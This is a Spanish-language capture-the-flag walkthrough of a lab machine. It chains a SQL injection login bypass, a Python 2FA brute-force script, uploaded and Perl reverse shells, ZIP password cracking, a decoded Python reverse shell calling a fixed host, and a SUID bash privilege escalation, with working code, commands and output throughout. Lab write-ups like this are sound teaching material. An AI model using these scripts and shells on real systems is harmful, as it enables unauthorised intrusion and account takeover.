Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-16 11:42 EST
Nmap scan report for express.dl (172.17.0.2)
Host is up (0.000027s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: Iniciar Sesi\xC3\xB3n
|_http-server-header: Apache/2.4.62 (Debian)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.26 seconds
Si entramos en la pagina vemos un panel de login, en el que si intentamos un SQL Injection se lo tragara y nos mostrara la opcion de cuando nos hemos logeado:
En esta veremos lo que parece ser un 2FA por lo que vamos a realizar fuerza bruta con un script que nos montaremos en python3 (hay que tener en cuenta que cuando se alcanza 3 intentos te lleva al login, por lo que tambien hay que controlar eso en el script):
2faBrute.py
import requests
import sys
# Configuración inicial
URL_LOGIN = "http://172.17.0.2/index.php"
URL_2FA = "http://172.17.0.2/2fa.php"
USUARIO = "admin' or 1=1-- -"
CONTRASEÑA = "admin' or 1=1-- -"
MAX_INTENTOS = 3 # Número máximo de intentos antes de reintentar autenticación inicial
# Crear una sesión para mantener cookies
sesion = requests.Session()
def iniciar_sesion():
"""
Realiza la autenticación inicial y devuelve True si es exitosa.
"""
datos_login = {
"username": USUARIO,
"password": CONTRASEÑA
}
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"
}
print("[*] Intentando autenticación inicial...")
respuesta = sesion.post(URL_LOGIN, data=datos_login, headers=headers)
if respuesta.status_code == 200 and "Verificación de 2FA" in respuesta.text:
print("[+] Autenticación inicial completada con éxito.")
return True
else:
print("[-] Error en la autenticación inicial.")
return False
def probar_2fa(codigo):
"""
Envía un código 2FA y verifica si es correcto.
"""
datos_2fa = {
"code": codigo
}
headers = {
"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0"
}
respuesta = sesion.post(URL_2FA, data=datos_2fa, headers=headers)
if respuesta.status_code == 200:
if "Código incorrecto" in respuesta.text:
return False
else:
print(f"[+] ¡Código correcto encontrado!: {codigo}")
return True
return False
def fuerza_bruta_2fa(diccionario):
"""
Realiza la fuerza bruta utilizando códigos de un diccionario.
"""
intentos = 0
for codigo in diccionario:
codigo = codigo.strip() # Eliminar espacios en blanco o saltos de línea
print(f"[*] Probando código: {codigo}")
# Intentar autenticación 2FA
if probar_2fa(codigo):
print("[+] Fuerza bruta exitosa.")
return # Salir si encontramos el código correcto
intentos += 1
# Reautenticación si se alcanza el límite de intentos
if intentos >= MAX_INTENTOS:
print(f"[!] Se alcanzó el límite de intentos ({MAX_INTENTOS}). Reautenticando...")
if not iniciar_sesion():
print("[-] No se pudo reautenticar. Deteniendo el proceso.")
return
intentos = 0
print("[-] Fuerza bruta completada. No se encontró un código válido.")
if __name__ == "__main__":
if len(sys.argv) < 2:
print("Uso: python3 script.py <archivo_diccionario>")
sys.exit(1)
archivo_diccionario = sys.argv[1]
# Leer los códigos del archivo de diccionario
try:
with open(archivo_diccionario, "r") as f:
codigos_diccionario = f.readlines()
except FileNotFoundError:
print(f"Error: No se encontró el archivo '{archivo_diccionario}'")
sys.exit(1)
# Iniciar fuerza bruta
if iniciar_sesion():
fuerza_bruta_2fa(codigos_diccionario)
generate2fadic.py
#!/bin/python3
# Archivo de salida
output_file = "diccionario.txt"
# Abrir el archivo en modo escritura
with open(output_file, "w") as file:
# Generar todas las combinaciones de 4 dígitos
for i in range(10000): # Desde 0 hasta 9999
# Formatear el número como cadena de 4 dígitos (ejemplo: 0001, 0123)
code = f"{i:04}"
# Escribir la combinación en el archivo
file.write(code + "\n")
print(f"Diccionario generado exitosamente en {output_file}")
Primero vamos a ejecutar el generate2fadic.py para que nos genere el diccionario de nuemro:
python3 generate2fadic.py
Info:
Diccionario generado exitosamente en diccionario.txt
Y una vez echo esto, ejecutaremos el siguiente script de la siguiente forma:
python3 2faBrute.py diccionario.txt
Info:
..............................
[*] Probando código: 0144
[*] Probando código: 0145
[*] Probando código: 0146
[!] Se alcanzó el límite de intentos (3). Reautenticando...
[*] Intentando autenticación inicial...
[+] Autenticación inicial completada con éxito.
[*] Probando código: 0147
[*] Probando código: 0148
[*] Probando código: 0149
[!] Se alcanzó el límite de intentos (3). Reautenticando...
[*] Intentando autenticación inicial...
[+] Autenticación inicial completada con éxito.
[*] Probando código: 0150
[+] ¡Código correcto encontrado!: 0150
[+] Fuerza bruta exitosa.
Vemos que el numero es el 0150 por lo que si lo ingresamos, veremos lo siguiente:
Escalate user www-data
Vamos a probar a subir un archivo con una reverse shell, pero vemos que solo nos deja los archivos .py por lo que haremos lo siguiente.
Ahora si subimos el archivo y carga la pagina, cuando volvamos a la escucha veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.120.128] from (UNKNOWN) [172.17.0.2] 44498
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
www-data@8a98f880c087:/$
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Escalate user maci
Si vemos que archivos ha creado el usuario maci:
find / -type f -user maci 2>/dev/null
Info:
/var/backups/.maci/.-/-/archivo500.zip
Vemos que es un .zip pero tiene toda la pinta de que hay 500 ZIPs comprimidos, por lo que tendremos que crear un script para descomprimir todos a la vez, pero que se quede en el ultimo ZIP, por lo que cuando el script detecte que esta en el archivo0.zip que pare:
unzip.sh
#!/bin/bash
# Archivo ZIP principal que contiene otros archivos ZIP
ZIP_PRINCIPAL="archivo500.zip"
# Directorio donde se extraerán los archivos
DIRECTORIO_EXTRAER="extraido"
# Crear el directorio de extracción si no existe
mkdir -p "$DIRECTORIO_EXTRAER"
# Descomprimir el archivo principal
echo "Descomprimiendo el archivo principal: $ZIP_PRINCIPAL"
unzip -q "$ZIP_PRINCIPAL" -d "$DIRECTORIO_EXTRAER"
# Comenzar el bucle desde 500 hasta 1
for i in $(seq 500 -1 1)
do
# Si el número es mayor que 9 y menor que 100, es decir, de 10 a 99, usamos el formato normal
ZIP_FILE="$DIRECTORIO_EXTRAER/archivo$i.zip"
# Verificar si el archivo existe
if [ -f "$ZIP_FILE" ]; then
# Mostrar cuál archivo ZIP estamos descomprimiendo
echo "Descomprimiendo $ZIP_FILE..."
# Descomprimir el archivo ZIP
unzip -q "$ZIP_FILE" -d "$DIRECTORIO_EXTRAER"
# Eliminar el archivo ZIP después de descomprimirlo (si lo deseas)
rm -f "$ZIP_FILE"
else
echo "No se encontró $ZIP_FILE. Saltando..."
fi
done
echo "Proceso completado."
Pero antes de ejecutarlo nos pasaremos el archivo a nuestro host:
cd /var/backups/.maci/.-/-/
python3 -m http.server
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
12345678 (archivo0.zip/pass.txt)
1g 0:00:00:00 DONE (2025-01-16 13:03) 9.090g/s 74472p/s 74472c/s 74472C/s 123456..whitetiger
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Vemos que la contraseña del ZIP es 12345678 por lo que haremos lo siguiente:
unzip archivo0.zip
Metemos como contraseña 12345678 y veremos que se descomprimio bien, viendo lo siguiente:
Por lo que vemos obtenemos las credenciales del usuario maci, por lo que nos cambiaremos a dicho ususario.
En la maquina victima pondremos lo siguiente:
su maci
Metemos como contraseña 49392923 y veremos que somos dicho usuario.
Escalate user darksblack
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for maci on b4145e7ece7c:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User maci may run the following commands on b4145e7ece7c:
(darksblack) NOPASSWD: /usr/bin/irssi
Vemos que podemos ejecutar el binario irssi como el usuario darksblack, por lo que vamos a buscar informacion sobre dicho binario.
En la siguiente pagina vemos informacion bastante importante, se explica que se puede ejecutar un script con /run cuando se ejecuta el binario y que solo utiliza lenguaje de programacion en Perl:
Vamos a crear el siguiente script en perl para crearnos una reverse shell:
#!/usr/bin/perl
use Socket;$i="<IP>";$p=<PORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("bash -i");};
Le ponemos permisos de ejecuccion:
chmod +x /tmp/shell.pl
Y en nuestro host nos pondremos a la escucha:
nc -lvnp <PORT>
Y ahora en la maquina victima haremos lo siguiente:
Ahora si nos vamos a donde teniamos la escucha, veremos lo siguiente:
listening on [any] 7755 ...
connect to [192.168.120.128] from (UNKNOWN) [172.17.0.2] 35466
darksblack@b4145e7ece7c:/tmp$ whoami
whoami
darksblack
Veremos que somos dicho usuario.
Escalate user juan
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for darksblack on b4145e7ece7c:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User darksblack may run the following commands on b4145e7ece7c:
(juan) NOPASSWD: /usr/bin/python3 /home/juan/shell.py
(juan) NOPASSWD: /bin/cat /home/juan/shell.py
Vemos que podemos ejecutar los siguientes comandos como el usuario juan por lo que primero ejecutaremos el cat para visualizar el script y ver que hace:
Vemos que hay muchos numeros, pero que parece tener un patron ascii por lo que vamos a crear un script para eliminar todo lo que no sea numeros y dejarlo limpio con solo numeros.
clearAscii.sh
#!/bin/bash
# Verifica si se pasa un archivo como argumento
if [ -z "$1" ]; then
echo "Por favor, pasa el archivo .py como argumento."
exit 1
fi
# Extrae los números del archivo .py y los guarda en numeros.txt
grep -o '[0-9]\+' "$1" | tr '\n' ' ' > numeros.txt
echo "Los números se han guardado en numeros.txt."
Vamos a ejecutarlo de la siguiente forma (Hay que copiar el contenido del shell.py y pasarnoslo a nuestro host para realizar todo esto):
Ahora vamos a crearnos un script que nos decodifique esto a texto plano, para enternder el codigo:
decodeAscii.sh
#!/bin/bash
# Comprueba si se han proporcionado los argumentos necesarios
if [ "$#" -ne 2 ]; then
echo "Uso: $0 <archivo_ascii.txt> <archivo_salida.txt>"
echo "Ejemplo: $0 entrada_ascii.txt salida_texto.txt"
exit 1
fi
# Archivos de entrada y salida
archivo_ascii="$1"
archivo_salida="$2"
# Comprueba si el archivo de entrada existe
if [ ! -f "$archivo_ascii" ]; then
echo "El archivo $archivo_ascii no existe."
exit 1
fi
# Limpia o crea el archivo de salida
> "$archivo_salida"
# Lee cada línea del archivo de entrada, convierte los códigos ASCII y escribe en el archivo de salida
while IFS= read -r linea; do
# Convierte cada número ASCII a carácter y concatena
texto=$(echo "$linea" | awk '{for (i=1; i<=NF; i++) printf "%c", $i}')
echo "$texto" >> "$archivo_salida"
done < "$archivo_ascii"
echo "Conversión completada. El resultado está en $archivo_salida."
Lo ejecutaremos de la siguiente forma:
bash decodeAscii.sh numeros.txt outputfile.txt
Info:
Conversión completada. El resultado está en outputfile.txt.
Vemos que el codigo nos lo esta proporcionando en Base64 y Base32 por lo que vamos a probar a decodificarlo, creando el siguiente script de python3 super simple:
decodeBases.py
import base64
# Cadena codificada
encoded_string = 'MFLTC53CGNFDASKIJY2WG53QOBRFQQTWMNXFCZ3CGNGUWYKXGF3WEM2KGBEUQTRRLFXEE6LCGJHGYYZTJVFWCVZRO5RDGSRQJFEE45SZGJ2GYZCBOBYGEWCCOYFGG3SRM5SEO3DULJIW6S2TIU4VIVSDIE4USQ2JPBHHUSLVJVKGG5KNIM2HQT2EJVUUG3CCKBKWYULHKBJUCMKNIRAXSQ3HOBVVUV2ZM5MTEOLVMJWVM2TEINUG6CTCGNHDATCDIJ3WEM2KGBFVI32LJFBUCZ2JJBGWOUCTIJ5GEMSOOJNFQULVMMZDS2TBGJLDAS2IJZ3FSMTUNRSEGNKCKJWDSSSUNNLFKTCDIJ5GEMSOOJNFQULVBJKTAOKEKMYTSVCWIZFEMUKVGBYEG2KBM5EUGQT2JRWU45TCNU2WYWJTKFXUWR3IOZRTGULTJFEEE5TDNZIXAS2RN5TUSQ2BM5RW2VRQMRMEU5KJJBGUWQ3NKJWAUWTJIIZVSV3MGBMDEWTWMNWDS2TCGIYXIWKXGVVUWSCNOBHWO33HJFBUCZ22I5DDAWKTIE4USSCNOVRW2VTKMRUWO6CNIRETAS2RN5TUSQ2BM5QVOWLHLJDUMMAKLFJUCOKQKNAWSY2YKZYGIRTYOVEWU32LJFBUCZ2JINAWOSKDIJ5EY3KOONRDGTTMJNBWWS2JINAWOSKDIFTUSQ2CPJSVQTLVLJMGQ4DEINTXOS2RN5TUSQ2BM4FES6KCGBQUOVLHMMZDS2TBGJLDASKHKJYFUV2RJNEUGQLHJFDVM43BK5MWOYSHKZ2UWR2SNBSEORLQJFCDAOKJIRATMQ3JIFTUSQ2BM5EUGQLHJFBUCZ2JINAWOSKDIFTWGM2SNNRDGVRQKBME4MKZNZBHSYRSJZWAUYZTJV2VKRLMKFJFG53HMMZVE222LBFHSUCYJYYVS3SCPFRDETTMMMZU25KVIVWFCUSTO5FUSQ2BM5EUGQLHJFBUCZ2JINAWOSKDIFTUSQ2BM5EUGQLHJFBUCZYKJFBUCZ2JINAWOSKDIJ5GIR2SOBRGUML2MRLUU53DNU4WUWSYJZ5EY3CCJJKUKVLQINUUCZ2JINAWOSKDIFTWG6JVPJNFONLLJNEE4MC2I44TCCTEIY4TEWKXPAYVUU3LJNEUGQLHJFBUCZ2JINBHSWSYKIYWG3JUM5JG2RTTMMZFKS2DNVJGYWTJIJ2FSV3MOVFUG2ZWINUUCZ2JINBDGYKHNRZVUU2CKVRW4VTMBJHWO33HJFBUCZ2JINAWOSKIJZ3FSMTUNRSEMOLLMFLVM22JIQYGOUTNIZZWGMSVJNEUGQLHJFBUCZ2JINBDAY3ONM3EG2KBM5EUGQLHJFBUCZ2JINAWOSKIJVTQUUCTIJVGEMRVOVNFOTRQJNCWQUCVGFIXGSKGIJIFK3CROBBWSQLHJFBUCZ2JINAWOSKDIFTUSSDEN5QVO6DMJFDTK5TEINBHUYRSJZZFUWCSMZNEO3DMLJCG6SYKJFBUCZ2JINAWOSKDIFTUSQ2BM5EUGQLHJFEE45SZGJ2GYZCGHFVWCV2WNNEUIMDHMQZEM4DEIY4W2YRTJJTFSMRZORRFORTVLJBWQ6SLKFXWOSKDIFTUSQ2BM4FESQ2BM5EUGQT2JRWU443CGNHGYS2DNNFUSQ2BM5EUGQLHJFBUE3DFI5HGYY2IKFTWGMRZNJQTEVRQJRWVM6LDNU4XST3HN5TUSQ2BM5EUGQLHJFBUCZ2JINBHOCSZLBHHUQ3JIFTUSQ2BM5EUGQLHMRDWY5C2KM2XUYSHKZWGGQ3HGFFVC32LMFLVSZ2YGE4XKWKXGFWFQMJYM5IFIMDHJFWDSZTCK5DHAYTMHFTES2TPJNEUGQLHBJEUQTRVMN4TK3DFI5WDAS2HGFUGCVZUN5FVG22LBI======'
# Decodifica la cadena primero de Base32 y luego de Base64
decoded_data = base64.b64decode(base64.b32decode(encoded_string))
# Muestra el resultado
print(decoded_data.decode('utf-8'))
Lo utilizamos de la siguiente forma:
python3 decodeBases.py
Info:
import sys
import os
import subprocess
import socket
import time
HOST = "172.17.0.183"
PORT = 5002
def connect(host, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
return s
def wait_for_command(s):
data = s.recv(1024)
if data == "quit\n":
s.close()
sys.exit(0)
# the socket died
elif len(data) == 0:
stdout=subprocess.PIPE, stderr=subprocess.PIPE,
stdin=subprocess.PIPE)
s.send(stdout_value)
return False
def main():
while True:
socket_died = False
try:
s = connect(HOST, PORT)
while not socket_died:
socket_died = wait_for_command(s)
s.close()
except socket.error:
pass
time.sleep(5)
if __name__ == "__main__":
sys.exit(main())
Vemos que el codigo de shell.py esta haciendo una reverse shell hacia un puerto e IP en concreto, por lo que tendremos que cambiar nuestra IP por la del script y escuchar en dicho puerto.
En nuestra maquina host haremos lo siguiente:
sudo ip addr add 172.17.0.183/16 dev docker0
Ahora si vemos que IP tenemos:
ip addr show docker0
Info:
ip addr show docker0
3: docker0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:12:3e:c2:85 brd ff:ff:ff:ff:ff:ff
inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0
valid_lft forever preferred_lft forever
inet 172.17.0.183/16 scope global secondary docker0
valid_lft forever preferred_lft forever
inet6 fe80::42:12ff:fe3e:c285/64 scope link proto kernel_ll
valid_lft forever preferred_lft forever
Vemos que ahora tenemos 2 IP's, por lo que ha funcionado añadiendo la IP del script, por lo que si ahora nos ponemos a la escucha:
nc -lvnp 5002
Y en la maquina victima ejecutamos lo siguiente:
sudo -u juan /usr/bin/python3 /home/juan/shell.py
Si nos volvemos a la escucha veremos lo siguiente:
listening on [any] 5002 ...
connect to [172.17.0.183] from (UNKNOWN) [172.17.0.2] 47014
whoami
juan
Por lo que vemos ha funcionado y seremos el usuario juan.
Escalate Privileges
Cuando pasa un rato vemos que nos echa de la shell por lo que vamos a ponernos de nuevo a la escucha:
nc -lvnp 5002
Y en la maquina victima ejecutamos otra vez esto:
sudo -u juan /usr/bin/python3 /home/juan/shell.py
Volviendo a la escucha, veremos que obtenemos de nuevo la shell pero esta vez rapidamente vamos a ejecutar de forma seguida lo siguiente con el usuario juan:
Pero antes de enviarlo nos pondremos a la escucha sobre dicho puerto que vamos a enviar:
nc -lvnp <PORT>
Y cuando ejecutemos lo anterior si volvemos a donde estabamos escuchando, veremos que hemos obtenido una shell con el mismo usuario juan pero esta vez no nos echara.
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for juan on 3c279e99f11b:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User juan may run the following commands on 3c279e99f11b:
(ALL : ALL) NOPASSWD: /home/juan/mensajes.sh
Vemos que podemos ejecutar el script mensajes.sh como el usuario root, por lo que haremos lo siguiente:
Si vemos donde esta ubicado el archivo, vemos que esta en nuestra home por lo que podremos eliminar el archivo y crear uno llamado de la misma forma para poner con permisos SUID la bash.
rm /home/juan/mensajes.sh
Una vez que lo hayamos eliminado, crearemos el mismo archivo con esto dentro:
nano /home/juan/mensajes.sh
#Dentro del nano
#!/bin/bash
chmod u+s /bin/bash
Lo guardamos y le damos permisos de ejecuccion:
chmod +x /home/juan/mensajes.sh
Una vez echo todo esto, lo ejecutaremos como el usuario root.
sudo /home/juan/mensajes.sh
Ahora si listamos la bash veremos lo siguiente:
ls -la /bin/bash
Info:
-rwsr-xr-x 1 root root 1265648 Mar 29 2024 /bin/bash
Vemos que ha funcionado por lo que haremos lo siguiente: